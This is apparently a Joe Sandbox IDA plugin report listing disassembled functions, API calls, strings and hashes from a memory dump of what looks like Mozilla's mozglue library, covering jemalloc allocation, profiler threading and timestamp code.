<jemalloc>, xrefs: 6CF2D268, 6CF2D311
Compile-time page size does not divide the runtime one., xrefs: 6CF2D26D
MOZ_CRASH(), xrefs: 6CF2D277
MALLOC_OPTIONS, xrefs: 6CF2D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6CF2D322

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 016a2133b9a462a65610754ed01257d4cf7eff5ba21c0302bc6e27020182be4d
Instruction ID: 4663d1483cecd3259219c52f6bbfa5420f740eb9af5cdbafa44855eef5511782
Opcode Fuzzy Hash: 016a2133b9a462a65610754ed01257d4cf7eff5ba21c0302bc6e27020182be4d
Instruction Fuzzy Hash: 5681B070F142209FEB558FA8E855BD97BB5EF46308F20052BE9119BB80D7799806CBB1

Function 6CF3FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF3FADC
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3FAE9
GetCurrentThreadId.KERNEL32 ref: 6CF3FB31
GetCurrentThreadId.KERNEL32 ref: 6CF3FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CF3FBF6
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3FC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6CF3FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6CF3FC94

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: ebee486b9f130bb3df061a6eafe6b3f67ba2304707ca2a28e6a641076cf29aa7
Instruction ID: 6191562621928e32e60dafd970af2b597231e1b4119879a00e12c3cf13af8999
Opcode Fuzzy Hash: ebee486b9f130bb3df061a6eafe6b3f67ba2304707ca2a28e6a641076cf29aa7
Instruction Fuzzy Hash: 5B711331A04720EFD791DF28D444B9AB7F0FF86348F1559AEE8498BB51EB309944CBA1

Function 6CF05E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF05E9D

Part of subcall function 6CF15B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CF156EE,?,00000001), ref: 6CF15B85
Part of subcall function 6CF15B50: EnterCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15B90
Part of subcall function 6CF15B50: LeaveCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15BD8
Part of subcall function 6CF15B50: GetTickCount64.KERNEL32 ref: 6CF15BE4

GetCurrentThreadId.KERNEL32 ref: 6CF05EAB
GetCurrentThreadId.KERNEL32 ref: 6CF05EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF05ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CF06017

Part of subcall function 6CEF4310: moz_xmalloc.MOZGLUE(00000010,?,6CEF42D2), ref: 6CEF436A
Part of subcall function 6CEF4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CEF42D2), ref: 6CEF4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CF05F47
GetCurrentProcess.KERNEL32 ref: 6CF05F53
GetCurrentThread.KERNEL32 ref: 6CF05F5C
GetCurrentProcess.KERNEL32 ref: 6CF05F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CF05F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CF05F27

Part of subcall function 6CF0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CF0CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF055E1), ref: 6CF05E8C

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF055E1), ref: 6CF0605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF055E1), ref: 6CF060CC

Strings

GeckoMain, xrefs: 6CF05ECE, 6CF06015

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8303dceb5bebcfaffe7617ece6d55e9ac1db64d06643cee58235843272c7bad9
Instruction ID: 58767dd081903644b5e46a99bcec0694350becf6d21d581f3abf2005e77bb110
Opcode Fuzzy Hash: 8303dceb5bebcfaffe7617ece6d55e9ac1db64d06643cee58235843272c7bad9
Instruction Fuzzy Hash: F171F5B0A047408FD741DF24D490AAABBF0FF46704F54492DE88687B52D770E988CBA2

Function 6CF09590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEF31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CEF3217
Part of subcall function 6CEF31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CEF3236
Part of subcall function 6CEF31C0: FreeLibrary.KERNEL32 ref: 6CEF324B
Part of subcall function 6CEF31C0: __Init_thread_footer.LIBCMT ref: 6CEF3260
Part of subcall function 6CEF31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CEF327F
Part of subcall function 6CEF31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEF328E
Part of subcall function 6CEF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEF32AB
Part of subcall function 6CEF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEF32D1
Part of subcall function 6CEF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEF32E5
Part of subcall function 6CEF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CEF32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CF09675
__Init_thread_footer.LIBCMT ref: 6CF09697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CF096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CF09707
__Init_thread_footer.LIBCMT ref: 6CF0971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CF09773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CF097B7
FreeLibrary.KERNEL32 ref: 6CF097D0
FreeLibrary.KERNEL32 ref: 6CF097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CF09824

Strings

ntdll.dll, xrefs: 6CF096E3
MapViewOfFileNuma2, xrefs: 6CF097B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CF09670
NtMapViewOfSection, xrefs: 6CF09701

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fad28dfb4e0abd5e879f4ceffc7803b5f904989fab5af7611bc6ed46b66705fd
Instruction ID: 39759047792e33f235fac5e249a796b1892086932612771e851a334ff052ab5c
Opcode Fuzzy Hash: fad28dfb4e0abd5e879f4ceffc7803b5f904989fab5af7611bc6ed46b66705fd
Instruction Fuzzy Hash: A661F371F102119FDF818FA8F898B9A7BB1FB8A715F104529ED1583780EB349945CBB1

Function 6CEF3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E768,?,00003000,00000004), ref: 6CEF3AC5
LeaveCriticalSection.KERNEL32(6CF7E768,?,00003000,00000004), ref: 6CEF3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6CEF3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CEF3B57
EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3B81
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3BA3
EnterCriticalSection.KERNEL32(6CF7E7B8), ref: 6CEF3BAE
LeaveCriticalSection.KERNEL32(6CF7E7B8), ref: 6CEF3C74
EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3C8B
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3C9F
LeaveCriticalSection.KERNEL32(6CF7E7B8), ref: 6CEF3D5C
EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3D67
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF3D8A

Part of subcall function 6CF30D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CEF3DEF), ref: 6CF30D71
Part of subcall function 6CF30D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CEF3DEF), ref: 6CF30D84

Strings

<jemalloc>, xrefs: 6CEF3DC7
MOZ_CRASH(), xrefs: 6CEF3DB2
: (malloc) Error in VirtualFree(), xrefs: 6CEF3DCC

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 9e9a59a3854c2456bc3384c96e286edb3b5f4a4e9d430030d1f36f5027ba7cb9
Instruction ID: 230b9823e94a07c1d7901f3b49861f8981ab1bc8946ee206f7c5bf5f81ea1822
Opcode Fuzzy Hash: 9e9a59a3854c2456bc3384c96e286edb3b5f4a4e9d430030d1f36f5027ba7cb9
Instruction Fuzzy Hash: DB91BF71B002158FDB44CF68D490B9A77B2BB86318B34452AE9359BB81D775DC03CBA2

Function 6CF07FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CF08007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CF0801D

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CF0802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CF0803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CF0808D

Part of subcall function 6CF0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CF0CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CF0809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CF080B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CF080DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF080ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF080FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF0810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CF08133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CF08149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CF08167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CF0817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF08199

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 16fb295fdcc26cf6e052dd0e7bb61b507e53fc3d32cb6a34c578547fef796780
Instruction ID: ce6e1ce80f19787304bdd9ddb5b558951ed74b0b9f6a7618c9ff70da80f6c341
Opcode Fuzzy Hash: 16fb295fdcc26cf6e052dd0e7bb61b507e53fc3d32cb6a34c578547fef796780
Instruction Fuzzy Hash: 065163B2E002149BDF10DFA9DC94AEFBBB9EF49664F250125E815E7741E730AD04CBA1

Function 6CF011B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6CF01213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF01285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6CF012B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6CF01327

Strings

CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6CF0131B
MZx, xrefs: 6CF011E1
&, xrefs: 6CF0126B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6CF012AD
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6CF0120D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 6b4ef71688bf0bbe21a0f08b58d00c301be536d9fdab88b1b876ae9d7d877ce7
Instruction ID: d3511b29a47c278506e78d598322b86e6417eb5eb2aafcdff63a78bed1fdc1c7
Opcode Fuzzy Hash: 6b4ef71688bf0bbe21a0f08b58d00c301be536d9fdab88b1b876ae9d7d877ce7
Instruction Fuzzy Hash: 8171AC75F053288ADB209F64D8207DEB7F1BF4570DF14465EE445A3B50EB34AA88CBA2

Function 6CEF31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CEF3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CEF3236
FreeLibrary.KERNEL32 ref: 6CEF324B
__Init_thread_footer.LIBCMT ref: 6CEF3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CEF327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEF328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEF32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEF32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEF32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CEF32F7

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

__aulldiv.LIBCMT ref: 6CEF346B

Strings

KernelBase.dll, xrefs: 6CEF3212
QueryInterruptTime, xrefs: 6CEF3230

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 70c7550aa35cd536ca2da244a9123c7ac09fd5874055df75fe2fb54496af9e08
Instruction ID: e340150bd0b684efe8cb50d5e2a197e4b41fd90301df0b1b27dd0e068ebac72c
Opcode Fuzzy Hash: 70c7550aa35cd536ca2da244a9123c7ac09fd5874055df75fe2fb54496af9e08
Instruction Fuzzy Hash: A2612271A187418BC751CF39C85175AB3F4FFC6364F218B1EE8A5A3690EB30954ACB92

Function 6CF56660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CF7F618), ref: 6CF56694
GetThreadId.KERNEL32(?), ref: 6CF566B1
GetCurrentThreadId.KERNEL32 ref: 6CF566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CF566E1
EnterCriticalSection.KERNEL32(6CF7F618), ref: 6CF56734
GetCurrentProcess.KERNEL32 ref: 6CF5673A
LeaveCriticalSection.KERNEL32(6CF7F618), ref: 6CF5676C
GetCurrentThread.KERNEL32 ref: 6CF567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CF56868
RtlCaptureContext.NTDLL ref: 6CF5687F

Strings

WalkStack64, xrefs: 6CF56890

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 9531b362f12ec0d059d2d396293c6baa1a7907b18d949d56564bfa4a7900affc
Instruction ID: 683219b184372c0fbbd90cb2fa1483d43281da0cd281cd57deee42b91bf9c32f
Opcode Fuzzy Hash: 9531b362f12ec0d059d2d396293c6baa1a7907b18d949d56564bfa4a7900affc
Instruction Fuzzy Hash: 0E51CD71A09311AFDB11CF24D844B9BBBF4BF99714F40492DFAA887740D770A814CBA2

Function 6CF3DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3DE73
GetCurrentThreadId.KERNEL32 ref: 6CF3DF7D
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3DF8A
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3DFC9
GetCurrentThreadId.KERNEL32 ref: 6CF3DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CF04A68), ref: 6CF3DE7B

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CF04A68), ref: 6CF3DEB8
free.MOZGLUE(00000000,?,6CF04A68), ref: 6CF3DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CF3DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CF3E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CF3DE83
<none>, xrefs: 6CF3DFD7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 4a14af3dde5c9f45334f666e9106d01b485dca22e76b68e484cfcabb7b06e2a9
Instruction ID: db7eba443deef2148634eb6e79ed3e8b0678afddd4e4714606841fa51ffc9fef
Opcode Fuzzy Hash: 4a14af3dde5c9f45334f666e9106d01b485dca22e76b68e484cfcabb7b06e2a9
Instruction Fuzzy Hash: B2411431F11230ABDB619F64E8487AA7B75FB4630CF540029EA0987B41CB319915CBF2

Function 6CF4D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF4D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D918
GetCurrentThreadId.KERNEL32 ref: 6CF4D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D970
